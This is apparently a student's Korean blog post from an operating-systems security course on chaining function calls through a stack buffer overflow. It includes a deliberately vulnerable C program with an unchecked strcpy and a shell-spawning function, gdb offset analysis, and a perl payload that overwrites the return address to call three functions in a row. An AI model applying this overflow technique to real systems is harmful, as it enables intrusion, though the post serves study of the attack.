| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | ||||
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- MAC
- gameplay tag
- 언리얼엔진
- gameplay effect
- attribute
- widget
- stride
- unity
- Replication
- 게임개발
- UI
- os
- rpc
- Unreal Engine
- Aegis
- 보안
- animation
- C++
- 언리얼 엔진
- CTF
- local prediction
- 게임 개발
- listen server
- 유니티
- linear regression
- gameplay ability system
- ability task
- Multiplay
- gas
- photon fusion2
Archives
- Today
- Total
Replicated
Chaining Function Calls (without arguments) 본문

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void a_fun(void)
{
system("/bin/sh");
}
void b_fun(void)
{
printf("I am in b_fun()\n");
}
void c_fun(void)
{
printf("I am in c_fun()\n");
}
int vul_func(char *str)
{
char buff[10];
strcpy(buff, str);
return 1;
}
int main(int argc, char **argv)
{
char str[100];
vul_func(argv[1]);
printf("returned properly\n");
return 1;
}

objdump -d test | more

sub로 14 빼니까 더미 포함해서 14바이트.. 인 줄 알았으나,

값이 이상해서 계산하니까 18바이트

컴파일러가 그냥 자기 맘대로 한 듯 함
어쨌든 버퍼가 더미공간 포함해서 18바이트
(gdb) run 01234567890123456789aaaaabbbbb
...
Program received signal SIGSEGV, Segmentation fault.
0x62616161 in ?? ()
18바이트부터 saved ebp
22바이트부터 리턴 어드레스
61이 a, 62가 b
aaab로 들어갔고 little endian이니 0x62616161이 리턴 어드레스에 들어감
근데 더 이상은 실습이 안됨
함수 주소(a_func, b_fun, c_fun)에 널이 있어서 오버라이트 불가
이후로는 예시로 작성
a_fun: 0x0804850d
b_fun: 0x08048526
c_fun: 0x0804853f
vul_func: 0x08048558
exit: 0xf7e44e00
system: 0xf7e52d50
payload
./test $(perl -e 'print "A"x22, "\x0d\x85\x04\x08\x26\x85\x04\x08\x3f\x85\x04\x08"')
result
$
$ exit
I am in b_fun()
I am in c_fun()
Segmentation fault (core dumped)
* exit 체인 시키려 해도 주소에 널 있어서 strcpy에서 안됨
'학부 > 운영체제보안' 카테고리의 다른 글
| Race Condition Problem (0) | 2024.12.06 |
|---|---|
| Return-Oriented Programming (ROP) (0) | 2024.12.06 |
| Ret2Libc 정리 및 ROP 개념 (0) | 2024.12.05 |
| Ret2Libc - Func's Prologue & Epilogue (0) | 2024.12.05 |
| Return-to-libc Attacks (Ret2Libc) / 실습 (0) | 2024.12.05 |